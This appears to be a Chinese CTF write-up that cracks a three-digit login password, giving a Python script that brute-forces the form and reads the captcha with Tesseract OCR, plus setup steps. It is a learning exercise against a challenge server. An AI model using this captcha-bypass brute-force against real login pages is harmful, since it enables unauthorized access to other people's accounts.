zoukankan      html  css  js  c++  java
  • 一道登陆题

    源码咱也没 F12上

    <html>
        <head>
            <meta http-equiv="content-type" content="text/html;charset=utf-8">
            <script src="jquery-2.0.3.js"></script>
        </head>
        <body>
            破解3位数字密码
            <br>
            <form action="login.php" method="POST">
                用户名:<input type="text" value="admin" name="username" id="username"><br>
                密  码:<input type="text" value="" name="pwd"><br>      
                验证码:<input type="text" value="" name="user_code">
                <a href="#" class="code" ><br><img src="./vcode.php" onclick="this.src='./vcode.php'"></a>
                <input type="submit" value="submit" name="Login"><br>
            </form>
    
        </body>
    </html>

    浏览器中显示大概是这样的:

    分析:

    要是没这个验证码的话可以直接Burp爆破,有也无伤大雅,python写个脚本识别一下就OK,先贴源码,第一次写Python脚本,不是很优美,速度有点慢,或许可以加个多线程,可以,但没必要(其实是没看该怎么写)

    # -*- coding:UTF-8 -*-
    from PIL import Image
    import requests
    import pytesseract
    
    url_login = "http://39.100.83.188:8002/login.php"
    url_image = "http://39.100.83.188:8002/vcode.php"
    header={}
    payload = {"username":"admin","pwd":"admin","user_code":"1234"}
    r = requests.get(url_login)
    header['Cookie']=r.headers['Set-Cookie'][0:-8]
    for i in range(100,1000):
        payload['pwd']=str(i)
        print("-------------------测试密码:{}...----------------------".format(i))
        judge=True
        while judge:
            r = requests.post(url_image,headers=header)
            with open("F:/Test.png","wb") as img:
                img.write(r.content)
            img = Image.open("F:/Test.png")
            text = pytesseract.image_to_string(img)
            payload["user_code"]=text[0:4]
            r = requests.post(url_login,data=payload,headers=header)
            r.encoding="UTF-8"
            if "验证码错误" in r.text:
                print("验证码{}错误!".format(text))
            elif "密码错误" in r.text:
                print("WARNING:密码错误!")
                judge=False
            elif "flag" in r.text:
                print(r.content)
                judge=False
                exit(0)
            else:
                print("未知状态!")

    PS:其实这个脚本有很多小问题,比如密码是三位数少考虑了000-099

    过程:

    0x01 在Python中添加requests库

    pip install requests

    关于如何使用该库请看:https://2.python-requests.org//zh_CN/latest/user/quickstart.html

    0x02 在Python中添加pytesseract库

    pip install pytesseract

    关于如何使用该库请看:https://pypi.org/project/pytesseract/

    0x03 在本地安装Tesseract

    Tesseract的OCR引擎最早是HP实验室开发的,曾经是 OCR业内最准确的三款识别引擎之一。2005年该引擎交给了Google,作为开源项目发布在Google Project上了。Tesseract提供独立程序和API两种形式供用户使用。纯白色背景、字符规整无干扰像素的验证码图片可以直接调用tesseract程序来进行识别。如要更方便灵活地在自己的程序中进行识别,则可以使用tesseract的API。

    项目主页:https://github.com/tesseract-ocr/tesseract

    在其项目wiki中有很详细的各操作系统的安装说明及下载路径

    我是在windows环境下安装的,安装完成后还需要将其添加到系统PATH环境变量中,同时添加系统环境变量TESSDATA_PREFIX,我的路径是:D:\Tesseract_4.1.0_Win32\tessdata

    OK大功告成

    参考文章:

    https://www.freebuf.com/sectool/163621.html

    https://www.cnblogs.com/cxscode/p/8316815.html

  • 相关阅读:
    Ural 2040 Palindromes and Super Abilities 2
    BZOJ3676: [Apio2014]回文串
    HDU3068 最长回文
    [USACO06DEC] Milk Patterns
    hdu 6200 mustedge mustedge mustedge(dfs序+树状数组+并查集)
    hdu 4511 小明系列故事——女友的考验(AC自动机+dp)
    hdu 5129 Yong Zheng's Death(AC自动机fail树的应用)
    poj 1991 Turning in Homework(贪心+区间dp)
    hdu 4776 Ants(trie+优先队列)
    hdu 4775 Infinite Go(并查集模拟)
  • 原文地址:https://www.cnblogs.com/BxScope/p/10816683.html
Copyright © 2011-2022 走看看